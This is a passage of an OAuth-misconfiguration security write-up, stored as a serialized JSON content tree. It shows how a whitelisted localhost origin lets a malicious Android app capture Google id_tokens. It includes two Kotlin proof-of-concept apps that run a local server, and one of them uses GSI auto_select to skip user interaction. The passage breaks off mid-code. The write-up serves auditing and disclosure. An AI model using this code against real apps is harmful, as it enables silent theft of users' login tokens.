",{"type":23,"tag":92,"props":99487,"children":99489},{"className":99488},[],[99490],{"type":28,"value":99491},"location.hash",{"type":23,"tag":18368,"props":99493,"children":99495},{"id":99494},"different-configurations",[99496],{"type":28,"value":99497},"Different Configurations",{"type":23,"tag":24,"props":99499,"children":99500},{},[99501],{"type":28,"value":99502},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":16158,"props":99504,"children":99505},{},[99506,99511],{"type":23,"tag":4894,"props":99507,"children":99508},{},[99509],{"type":28,"value":99510},"Authorized origins",{"type":23,"tag":4894,"props":99512,"children":99513},{},[99514],{"type":28,"value":99515},"Authorized redirect URIs",{"type":23,"tag":24,"props":99517,"children":99518},{},[99519],{"type":23,"tag":1116,"props":99520,"children":99522},{"alt":50084,"src":99521},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":99524,"children":99525},{},[99526,99528,99533],{"type":28,"value":99527},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":92,"props":99529,"children":99531},{"className":99530},[],[99532],{"type":28,"value":69107},{"type":28,"value":720},{"type":23,"tag":24,"props":99535,"children":99536},{},[99537,99539,99545,99547,99552],{"type":28,"value":99538},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":92,"props":99540,"children":99542},{"className":99541},[],[99543],{"type":28,"value":99544},"/oauth2/v2/auth",{"type":28,"value":99546}," by checking the ",{"type":23,"tag":92,"props":99548,"children":99550},{"className":99549},[],[99551],{"type":28,"value":39634},{"type":28,"value":99553}," query parameter.",{"type":23,"tag":24,"props":99555,"children":99556},{},[99557,99559,99564,99566,99571],{"type":28,"value":99558},"In the old flow, the ",{"type":23,"tag":92,"props":99560,"children":99562},{"className":99561},[],[99563],{"type":28,"value":69275},{"type":28,"value":99565}," parameter passed in the ",{"type":23,"tag":92,"props":99567,"children":99569},{"className":99568},[],[99570],{"type":28,"value":99544},{"type":28,"value":99572}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":99574,"children":99575},{},[99576,99578,99583,99585,99592],{"type":28,"value":99577},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":92,"props":99579,"children":99581},{"className":99580},[],[99582],{"type":28,"value":69275},{"type":28,"value":99584}," validation. To execute this flow, you need to specify ",{"type":23,"tag":31,"props":99586,"children":99589},{"href":99587,"rel":99588},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[35],[99590],{"type":28,"value":99591},"login_uri",{"type":28,"value":99593}," while using the SDK.",{"type":23,"tag":9072,"props":99595,"children":99597},{"id":99596},"localhost-exploit",[99598],{"type":28,"value":99599},"Localhost Exploit",{"type":23,"tag":24,"props":99601,"children":99602},{},[99603,99605,99611],{"type":28,"value":99604},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":92,"props":99606,"children":99608},{"className":99607},[],[99609],{"type":28,"value":99610},"localhost",{"type":28,"value":99612}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":99614,"children":99615},{},[99616],{"type":28,"value":99617},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":18368,"props":99619,"children":99621},{"id":99620},"exploit",[99622],{"type":28,"value":99623},"Exploit",{"type":23,"tag":24,"props":99625,"children":99626},{},[99627,99629,99634,99635,99641],{"type":28,"value":99628},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":92,"props":99630,"children":99632},{"className":99631},[],[99633],{"type":28,"value":99491},{"type":28,"value":12601},{"type":23,"tag":92,"props":99636,"children":99638},{"className":99637},[],[99639],{"type":28,"value":99640},"location.search",{"type":28,"value":99642},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":87,"props":99644,"children":99648},{"className":99645,"code":99646,"language":99647,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[99649],{"type":23,"tag":92,"props":99650,"children":99651},{"__ignoreMap":7},[99652,99681,99700,99707,99714,99733,99744,99755,99786,99809,99856,99863,99870,99877,99884,99904,99935,99946,99953,99960,99979,100002,100013,100032,100047,100058,100081,100116,100135,100142,100153,100176,100187,100199,100206,100213,100220,100227,100234,100261],{"type":23,"tag":134,"props":99653,"children":99654},{"class":136,"line":137},[99655,99660,99664,99668,99672,99676],{"type":23,"tag":134,"props":99656,"children":99657},{"style":151},[99658],{"type":28,"value":99659}," override",{"type":23,"tag":134,"props":99661,"children":99662},{"style":151},[99663],{"type":28,"value":5664},{"type":23,"tag":134,"props":99665,"children":99666},{"style":264},[99667],{"type":28,"value":69963},{"type":23,"tag":134,"props":99669,"children":99670},{"style":179},[99671],{"type":28,"value":69968},{"type":23,"tag":134,"props":99673,"children":99674},{"style":597},[99675],{"type":28,"value":69973},{"type":23,"tag":134,"props":99677,"children":99678},{"style":179},[99679],{"type":28,"value":99680},"?){\n",{"type":23,"tag":134,"props":99682,"children":99683},{"class":136,"line":147},[99684,99688,99692,99696],{"type":23,"tag":134,"props":99685,"children":99686},{"style":151},[99687],{"type":28,"value":69986},{"type":23,"tag":134,"props":99689,"children":99690},{"style":179},[99691],{"type":28,"value":720},{"type":23,"tag":134,"props":99693,"children":99694},{"style":264},[99695],{"type":28,"value":69995},{"type":23,"tag":134,"props":99697,"children":99698},{"style":179},[99699],{"type":28,"value":70000},{"type":23,"tag":134,"props":99701,"children":99702},{"class":136,"line":185},[99703],{"type":23,"tag":134,"props":99704,"children":99705},{"emptyLinePlaceholder":15},[99706],{"type":28,"value":865},{"type":23,"tag":134,"props":99708,"children":99709},{"class":136,"line":221},[99710],{"type":23,"tag":134,"props":99711,"children":99712},{"style":141},[99713],{"type":28,"value":70015},{"type":23,"tag":134,"props":99715,"children":99716},{"class":136,"line":332},[99717,99721,99725,99729],{"type":23,"tag":134,"props":99718,"children":99719},{"style":264},[99720],{"type":28,"value":70023},{"type":23,"tag":134,"props":99722,"children":99723},{"style":179},[99724],{"type":28,"value":70028},{"type":23,"tag":134,"props":99726,"children":99727},{"style":264},[99728],{"type":28,"value":70033},{"type":23,"tag":134,"props":99730,"children":99731},{"style":179},[99732],{"type":28,"value":463},{"type":23,"tag":134,"props":99734,"children":99735},{"class":136,"line":438},[99736,99740],{"type":23,"tag":134,"props":99737,"children":99738},{"style":189},[99739],{"type":28,"value":70045},{"type":23,"tag":134,"props":99741,"children":99742},{"style":179},[99743],{"type":28,"value":463},{"type":23,"tag":134,"props":99745,"children":99746},{"class":136,"line":466},[99747,99751],{"type":23,"tag":134,"props":99748,"children":99749},{"style":264},[99750],{"type":28,"value":70057},{"type":23,"tag":134,"props":99752,"children":99753},{"style":179},[99754],{"type":28,"value":7194},{"type":23,"tag":134,"props":99756,"children":99757},{"class":136,"line":479},[99758,99762,99766,99770,99774,99778,99782],{"type":23,"tag":134,"props":99759,"children":99760},{"style":179},[99761],{"type":28,"value":70069},{"type":23,"tag":134,"props":99763,"children":99764},{"style":264},[99765],{"type":28,"value":70074},{"type":23,"tag":134,"props":99767,"children":99768},{"style":179},[99769],{"type":28,"value":272},{"type":23,"tag":134,"props":99771,"children":99772},{"style":1461},[99773],{"type":28,"value":70083},{"type":23,"tag":134,"props":99775,"children":99776},{"style":179},[99777],{"type":28,"value":242},{"type":23,"tag":134,"props":99779,"children":99780},{"style":1461},[99781],{"type":28,"value":70092},{"type":23,"tag":134,"props":99783,"children":99784},{"style":179},[99785],{"type":28,"value":329},{"type":23,"tag":134,"props":99787,"children":99788},{"class":136,"line":497},[99789,99793,99797,99801,99805],{"type":23,"tag":134,"props":99790,"children":99791},{"style":179},[99792],{"type":28,"value":70104},{"type":23,"tag":134,"props":99794,"children":99795},{"style":151},[99796],{"type":28,"value":47916},{"type":23,"tag":134,"props":99798,"children":99799},{"style":179},[99800],{"type":28,"value":70113},{"type":23,"tag":134,"props":99802,"children":99803},{"style":597},[99804],{"type":28,"value":70118},{"type":23,"tag":134,"props":99806,"children":99807},{"style":179},[99808],{"type":28,"value":14272},{"type":23,"tag":134,"props":99810,"children":99811},{"class":136,"line":518},[99812,99816,99820,99824,99828,99832,99836,99840,99844,99848,99852],{"type":23,"tag":134,"props":99813,"children":99814},{"style":179},[99815],{"type":28,"value":70069},{"type":23,"tag":134,"props":99817,"children":99818},{"style":264},[99819],{"type":28,"value":50960},{"type":23,"tag":134,"props":99821,"children":99822},{"style":179},[99823],{"type":28,"value":272},{"type":23,"tag":134,"props":99825,"children":99826},{"style":1461},[99827],{"type":28,"value":70083},{"type":23,"tag":134,"props":99829,"children":99830},{"style":179},[99831],{"type":28,"value":242},{"type":23,"tag":134,"props":99833,"children":99834},{"style":1461},[99835],{"type":28,"value":70150},{"type":23,"tag":134,"props":99837,"children":99838},{"style":151},[99839],{"type":28,"value":33605},{"type":23,"tag":134,"props":99841,"children":99842},{"style":168},[99843],{"type":28,"value":70159},{"type":23,"tag":134,"props":99845,"children":99846},{"style":151},[99847],{"type":28,"value":33637},{"type":23,"tag":134,"props":99849,"children":99850},{"style":1461},[99851],{"type":28,"value":19537},{"type":23,"tag":134,"props":99853,"children":99854},{"style":179},[99855],{"type":28,"value":70172},{"type":23,"tag":134,"props":99857,"children":99858},{"class":136,"line":527},[99859],{"type":23,"tag":134,"props":99860,"children":99861},{"style":179},[99862],{"type":28,"value":58392},{"type":23,"tag":134,"props":99864,"children":99865},{"class":136,"line":780},[99866],{"type":23,"tag":134,"props":99867,"children":99868},{"style":179},[99869],{"type":28,"value":524},{"type":23,"tag":134,"props":99871,"children":99872},{"class":136,"line":797},[99873],{"type":23,"tag":134,"props":99874,"children":99875},{"emptyLinePlaceholder":15},[99876],{"type":28,"value":865},{"type":23,"tag":134,"props":99878,"children":99879},{"class":136,"line":814},[99880],{"type":23,"tag":134,"props":99881,"children":99882},{"style":141},[99883],{"type":28,"value":70201},{"type":23,"tag":134,"props":99885,"children":99886},{"class":136,"line":827},[99887,99891,99895,99899],{"type":23,"tag":134,"props":99888,"children":99889},{"style":151},[99890],{"type":28,"value":70209},{"type":23,"tag":134,"props":99892,"children":99893},{"style":179},[99894],{"type":28,"value":70214},{"type":23,"tag":134,"props":99896,"children":99897},{"style":168},[99898],{"type":28,"value":257},{"type":23,"tag":134,"props":99900,"children":99901},{"style":1461},[99902],{"type":28,"value":99903}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":134,"props":99905,"children":99906},{"class":136,"line":836},[99907,99911,99915,99919,99923,99927,99931],{"type":23,"tag":134,"props":99908,"children":99909},{"style":151},[99910],{"type":28,"value":70209},{"type":23,"tag":134,"props":99912,"children":99913},{"style":179},[99914],{"type":28,"value":70235},{"type":23,"tag":134,"props":99916,"children":99917},{"style":168},[99918],{"type":28,"value":257},{"type":23,"tag":134,"props":99920,"children":99921},{"style":264},[99922],{"type":28,"value":70244},{"type":23,"tag":134,"props":99924,"children":99925},{"style":179},[99926],{"type":28,"value":70249},{"type":23,"tag":134,"props":99928,"children":99929},{"style":264},[99930],{"type":28,"value":38710},{"type":23,"tag":134,"props":99932,"children":99933},{"style":179},[99934],{"type":28,"value":70258},{"type":23,"tag":134,"props":99936,"children":99937},{"class":136,"line":859},[99938,99942],{"type":23,"tag":134,"props":99939,"children":99940},{"style":264},[99941],{"type":28,"value":70266},{"type":23,"tag":134,"props":99943,"children":99944},{"style":179},[99945],{"type":28,"value":70271},{"type":23,"tag":134,"props":99947,"children":99948},{"class":136,"line":868},[99949],{"type":23,"tag":134,"props":99950,"children":99951},{"style":179},[99952],{"type":28,"value":533},{"type":23,"tag":134,"props":99954,"children":99955},{"class":136,"line":877},[99956],{"type":23,"tag":134,"props":99957,"children":99958},{"emptyLinePlaceholder":15},[99959],{"type":28,"value":865},{"type":23,"tag":134,"props":99961,"children":99962},{"class":136,"line":946},[99963,99967,99971,99975],{"type":23,"tag":134,"props":99964,"children":99965},{"style":151},[99966],{"type":28,"value":70293},{"type":23,"tag":134,"props":99968,"children":99969},{"style":151},[99970],{"type":28,"value":5664},{"type":23,"tag":134,"props":99972,"children":99973},{"style":264},[99974],{"type":28,"value":70302},{"type":23,"tag":134,"props":99976,"children":99977},{"style":179},[99978],{"type":28,"value":15206},{"type":23,"tag":134,"props":99980,"children":99981},{"class":136,"line":954},[99982,99986,99990,99994,99998],{"type":23,"tag":134,"props":99983,"children":99984},{"style":264},[99985],{"type":28,"value":70314},{"type":23,"tag":134,"props":99987,"children":99988},{"style":179},[99989],{"type":28,"value":70319},{"type":23,"tag":134,"props":99991,"children":99992},{"style":168},[99993],{"type":28,"value":257},{"type":23,"tag":134,"props":99995,"children":99996},{"style":205},[99997],{"type":28,"value":70328},{"type":23,"tag":134,"props":99999,"children":100000},{"style":179},[100001],{"type":28,"value":14272},{"type":23,"tag":134,"props":100003,"children":100004},{"class":136,"line":984},[100005,100009],{"type":23,"tag":134,"props":100006,"children":100007},{"style":264},[100008],{"type":28,"value":70340},{"type":23,"tag":134,"props":100010,"children":100011},{"style":179},[100012],{"type":28,"value":463},{"type":23,"tag":134,"props":100014,"children":100015},{"class":136,"line":992},[100016,100020,100024,100028],{"type":23,"tag":134,"props":100017,"children":100018},{"style":151},[100019],{"type":28,"value":70352},{"type":23,"tag":134,"props":100021,"children":100022},{"style":179},[100023],{"type":28,"value":272},{"type":23,"tag":134,"props":100025,"children":100026},{"style":1461},[100027],{"type":28,"value":70361},{"type":23,"tag":134,"props":100029,"children":100030},{"style":179},[100031],{"type":28,"value":14272},{"type":23,"tag":134,"props":100033,"children":100034},{"class":136,"line":1024},[100035,100039,100043],{"type":23,"tag":134,"props":100036,"children":100037},{"style":179},[100038],{"type":28,"value":70373},{"type":23,"tag":134,"props":100040,"children":100041},{"style":264},[100042],{"type":28,"value":70378},{"type":23,"tag":134,"props":100044,"children":100045},{"style":179},[100046],{"type":28,"value":463},{"type":23,"tag":134,"props":100048,"children":100049},{"class":136,"line":1032},[100050,100054],{"type":23,"tag":134,"props":100051,"children":100052},{"style":264},[100053],{"type":28,"value":70390},{"type":23,"tag":134,"props":100055,"children":100056},{"style":179},[100057],{"type":28,"value":463},{"type":23,"tag":134,"props":100059,"children":100060},{"class":136,"line":1092},[100061,100065,100069,100073,100077],{"type":23,"tag":134,"props":100062,"children":100063},{"style":264},[100064],{"type":28,"value":70402},{"type":23,"tag":134,"props":100066,"children":100067},{"style":179},[100068],{"type":28,"value":70407},{"type":23,"tag":134,"props":100070,"children":100071},{"style":168},[100072],{"type":28,"value":257},{"type":23,"tag":134,"props":100074,"children":100075},{"style":1461},[100076],{"type":28,"value":70416},{"type":23,"tag":134,"props":100078,"children":100079},{"style":179},[100080],{"type":28,"value":329},{"type":23,"tag":134,"props":100082,"children":100083},{"class":136,"line":8508},[100084,100088,100092,100096,100100,100104,100108,100112],{"type":23,"tag":134,"props":100085,"children":100086},{"style":264},[100087],{"type":28,"value":70402},{"type":23,"tag":134,"props":100089,"children":100090},{"style":179},[100091],{"type":28,"value":70432},{"type":23,"tag":134,"props":100093,"children":100094},{"style":168},[100095],{"type":28,"value":257},{"type":23,"tag":134,"props":100097,"children":100098},{"style":1461},[100099],{"type":28,"value":70441},{"type":23,"tag":134,"props":100101,"children":100102},{"style":179},[100103],{"type":28,"value":70446},{"type":23,"tag":134,"props":100105,"children":100106},{"style":168},[100107],{"type":28,"value":257},{"type":23,"tag":134,"props":100109,"children":100110},{"style":1461},[100111],{"type":28,"value":70455},{"type":23,"tag":134,"props":100113,"children":100114},{"style":179},[100115],{"type":28,"value":329},{"type":23,"tag":134,"props":100117,"children":100118},{"class":136,"line":8526},[100119,100123,100127,100131],{"type":23,"tag":134,"props":100120,"children":100121},{"style":264},[100122],{"type":28,"value":70467},{"type":23,"tag":134,"props":100124,"children":100125},{"style":179},[100126],{"type":28,"value":272},{"type":23,"tag":134,"props":100128,"children":100129},{"style":1461},[100130],{"type":28,"value":70476},{"type":23,"tag":134,"props":100132,"children":100133},{"style":179},[100134],{"type":28,"value":329},{"type":23,"tag":134,"props":100136,"children":100137},{"class":136,"line":8571},[100138],{"type":23,"tag":134,"props":100139,"children":100140},{"style":179},[100141],{"type":28,"value":70488},{"type":23,"tag":134,"props":100143,"children":100144},{"class":136,"line":8677},[100145,100149],{"type":23,"tag":134,"props":100146,"children":100147},{"style":264},[100148],{"type":28,"value":70496},{"type":23,"tag":134,"props":100150,"children":100151},{"style":179},[100152],{"type":28,"value":463},{"type":23,"tag":134,"props":100154,"children":100155},{"class":136,"line":22988},[100156,100160,100164,100168,100172],{"type":23,"tag":134,"props":100157,"children":100158},{"style":264},[100159],{"type":28,"value":70508},{"type":23,"tag":134,"props":100161,"children":100162},{"style":179},[100163],{"type":28,"value":9049},{"type":23,"tag":134,"props":100165,"children":100166},{"style":168},[100167],{"type":28,"value":1586},{"type":23,"tag":134,"props":100169,"children":100170},{"style":1461},[100171],{"type":28,"value":70521},{"type":23,"tag":134,"props":100173,"children":100174},{"style":179},[100175],{"type":28,"value":9059},{"type":23,"tag":134,"props":100177,"children":100178},{"class":136,"line":23023},[100179,100183],{"type":23,"tag":134,"props":100180,"children":100181},{"style":264},[100182],{"type":28,"value":70533},{"type":23,"tag":134,"props":100184,"children":100185},{"style":179},[100186],{"type":28,"value":463},{"type":23,"tag":134,"props":100188,"children":100189},{"class":136,"line":23031},[100190,100194],{"type":23,"tag":134,"props":100191,"children":100192},{"style":168},[100193],{"type":28,"value":70545},{"type":23,"tag":134,"props":100195,"children":100196},{"style":1461},[100197],{"type":28,"value":100198},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":134,"props":100200,"children":100201},{"class":136,"line":23039},[100202],{"type":23,"tag":134,"props":100203,"children":100204},{"style":179},[100205],{"type":28,"value":70558},{"type":23,"tag":134,"props":100207,"children":100208},{"class":136,"line":23048},[100209],{"type":23,"tag":134,"props":100210,"children":100211},{"style":179},[100212],{"type":28,"value":70488},{"type":23,"tag":134,"props":100214,"children":100215},{"class":136,"line":23090},[100216],{"type":23,"tag":134,"props":100217,"children":100218},{"style":179},[100219],{"type":28,"value":70573},{"type":23,"tag":134,"props":100221,"children":100222},{"class":136,"line":23123},[100223],{"type":23,"tag":134,"props":100224,"children":100225},{"style":179},[100226],{"type":28,"value":70581},{"type":23,"tag":134,"props":100228,"children":100229},{"class":136,"line":23131},[100230],{"type":23,"tag":134,"props":100231,"children":100232},{"style":179},[100233],{"type":28,"value":58392},{"type":23,"tag":134,"props":100235,"children":100236},{"class":136,"line":23139},[100237,100241,100245,100249,100253,100257],{"type":23,"tag":134,"props":100238,"children":100239},{"style":179},[100240],{"type":28,"value":70596},{"type":23,"tag":134,"props":100242,"children":100243},{"style":264},[100244],{"type":28,"value":70601},{"type":23,"tag":134,"props":100246,"children":100247},{"style":179},[100248],{"type":28,"value":70606},{"type":23,"tag":134,"props":100250,"children":100251},{"style":168},[100252],{"type":28,"value":257},{"type":23,"tag":134,"props":100254,"children":100255},{"style":151},[100256],{"type":28,"value":11936},{"type":23,"tag":134,"props":100258,"children":100259},{"style":179},[100260],{"type":28,"value":329},{"type":23,"tag":134,"props":100262,"children":100263},{"class":136,"line":23148},[100264],{"type":23,"tag":134,"props":100265,"children":100266},{"style":179},[100267],{"type":28,"value":533},{"type":23,"tag":24,"props":100269,"children":100270},{},[100271],{"type":28,"value":100272},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":100274,"children":100275},{},[100276,100278,100284],{"type":28,"value":100277},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":92,"props":100279,"children":100281},{"className":100280},[],[100282],{"type":28,"value":100283},"auto_select",{"type":28,"value":100285}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":87,"props":100287,"children":100289},{"className":99645,"code":100288,"language":99647,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[100290],{"type":23,"tag":92,"props":100291,"children":100292},{"__ignoreMap":7},[100293,100320,100339,100346,100365,100376,100387,100418,100441,100488,100495,100502,100509,100549,100560,100567,100574,100593,100616,100627,100646,100661,100672,100692,100703,100720,100746,100770,100777,100788,100800,100813,100821,100829,100836,100843,100851,100859,100867,100875,100883,100891,100899,100906,100913,100921,100929,100937,100944,100951,100959,100966,100987,100995,101002,101009,101020,101044,101056,101073,101080,101087,101095,101103,101111,101139],{"type":23,"tag":134,"props":100294,"children":100295},{"class":136,"line":137},[100296,100300,100304,100308,100312,100316],{"type":23,"tag":134,"props":100297,"children":100298},{"style":151},[100299],{"type":28,"value":69954},{"type":23,"tag":134,"props":100301,"children":100302},{"style":151},[100303],{"type":28,"value":5664},{"type":23,"tag":134,"props":100305,"children":100306},{"style":264},[100307],{"type":28,"value":69963},{"type":23,"tag":134,"props":100309,"children":100310},{"style":179},[100311],{"type":28,"value":69968},{"type":23,"tag":134,"props":100313,"children":100314},{"style":597},[100315],{"type":28,"value":69973},{"type":23,"tag":134,"props":100317,"children":100318},{"style":179},[100319],{"type":28,"value":69978},{"type":23,"tag":134,"props":100321,"children":100322},{"class":136,"line":147},[100323,100327,100331,100335],{"type":23,"tag":134,"props":100324,"children":100325},{"style":151},[100326],{"type":28,"value":69986},{"type":23,"tag":134,"props":100328,"children":100329},{"style":179},[100330],{"type":28,"value":720},{"type":23,"tag":134,"props":100332,"children":100333},{"style":264},[100334],{"type":28,"value":69995},{"type":23,"tag":134,"props":100336,"children":100337},{"style":179},[100338],{"type":28,"value":70000},{"type":23,"tag":134,"props":100340,"children":100341},{"class":136,"line":185},[100342],{"type":23,"tag":134,"props":100343,"children":100344},{"emptyLinePlaceholder":15},[100345],{"type":28,"value":865},{"type":23,"tag":134,"props":100347,"children":100348},{"class":136,"line":221},[100349,100353,100357,100361],{"type":23,"tag":134,"props":100350,"children":100351},{"style":264},[100352],{"type":28,"value":70023},{"type":23,"tag":134,"props":100354,"children":100355},{"style":179},[100356],{"type":28,"value":70028},{"type":23,"tag":134,"props":100358,"children":100359},{"style":264},[100360],{"type":28,"value":70033},{"type":23,"tag":134,"props":100362,"children":100363},{"style":179},[100364],{"type":28,"value":463},{"type":23,"tag":134,"props":100366,"children":100367},{"class":136,"line":332},[100368,100372],{"type":23,"tag":134,"props":100369,"children":100370},{"style":189},[100371],{"type":28,"value":70045},{"type":23,"tag":134,"props":100373,"children":100374},{"style":179},[100375],{"type":28,"value":463},{"type":23,"tag":134,"props":100377,"children":100378},{"class":136,"line":438},[100379,100383],{"type":23,"tag":134,"props":100380,"children":100381},{"style":264},[100382],{"type":28,"value":70057},{"type":23,"tag":134,"props":100384,"children":100385},{"style":179},[100386],{"type":28,"value":7194},{"type":23,"tag":134,"props":100388,"children":100389},{"class":136,"line":466},[100390,100394,100398,100402,100406,100410,100414],{"type":23,"tag":134,"props":100391,"children":100392},{"style":179},[100393],{"type":28,"value":70069},{"type":23,"tag":134,"props":100395,"children":100396},{"style":264},[100397],{"type":28,"value":70074},{"type":23,"tag":134,"props":100399,"children":100400},{"style":179},[100401],{"type":28,"value":272},{"type":23,"tag":134,"props":100403,"children":100404},{"style":1461},[100405],{"type":28,"value":70083},{"type":23,"tag":134,"props":100407,"children":100408},{"style":179},[100409],{"type":28,"value":242},{"type":23,"tag":134,"props":100411,"children":100412},{"style":1461},[100413],{"type":28,"value":70092},{"type":23,"tag":134,"props":100415,"children":100416},{"style":179},[100417],{"type":28,"value":329},{"type":23,"tag":134,"props":100419,"children":100420},{"class":136,"line":479},[100421,100425,100429,100433,100437],{"type":23,"tag":134,"props":100422,"children":100423},{"style":179},[100424],{"type":28,"value":70104},{"type":23,"tag":134,"props":100426,"children":100427},{"style":151},[100428],{"type":28,"value":47916},{"type":23,"tag":134,"props":100430,"children":100431},{"style":179},[100432],{"type":28,"value":70113},{"type":23,"tag":134,"props":100434,"children":100435},{"style":597},[100436],{"type":28,"value":70118},{"type":23,"tag":134,"props":100438,"children":100439},{"style":179},[100440],{"type":28,"value":14272},{"type":23,"tag":134,"props":100442,"children":100443},{"class":136,"line":497},[100444,100448,100452,100456,100460,100464,100468,100472,100476,100480,100484],{"type":23,"tag":134,"props":100445,"children":100446},{"style":179},[100447],{"type":28,"value":70069},{"type":23,"tag":134,"props":100449,"children":100450},{"style":264},[100451],{"type":28,"value":50960},{"type":23,"tag":134,"props":100453,"children":100454},{"style":179},[100455],{"type":28,"value":272},{"type":23,"tag":134,"props":100457,"children":100458},{"style":1461},[100459],{"type":28,"value":70083},{"type":23,"tag":134,"props":100461,"children":100462},{"style":179},[100463],{"type":28,"value":242},{"type":23,"tag":134,"props":100465,"children":100466},{"style":1461},[100467],{"type":28,"value":70150},{"type":23,"tag":134,"props":100469,"children":100470},{"style":151},[100471],{"type":28,"value":33605},{"type":23,"tag":134,"props":100473,"children":100474},{"style":168},[100475],{"type":28,"value":70159},{"type":23,"tag":134,"props":100477,"children":100478},{"style":151},[100479],{"type":28,"value":33637},{"type":23,"tag":134,"props":100481,"children":100482},{"style":1461},[100483],{"type":28,"value":19537},{"type":23,"tag":134,"props":100485,"children":100486},{"style":179},[100487],{"type":28,"value":70172},{"type":23,"tag":134,"props":100489,"children":100490},{"class":136,"line":518},[100491],{"type":23,"tag":134,"props":100492,"children":100493},{"style":179},[100494],{"type":28,"value":58392},{"type":23,"tag":134,"props":100496,"children":100497},{"class":136,"line"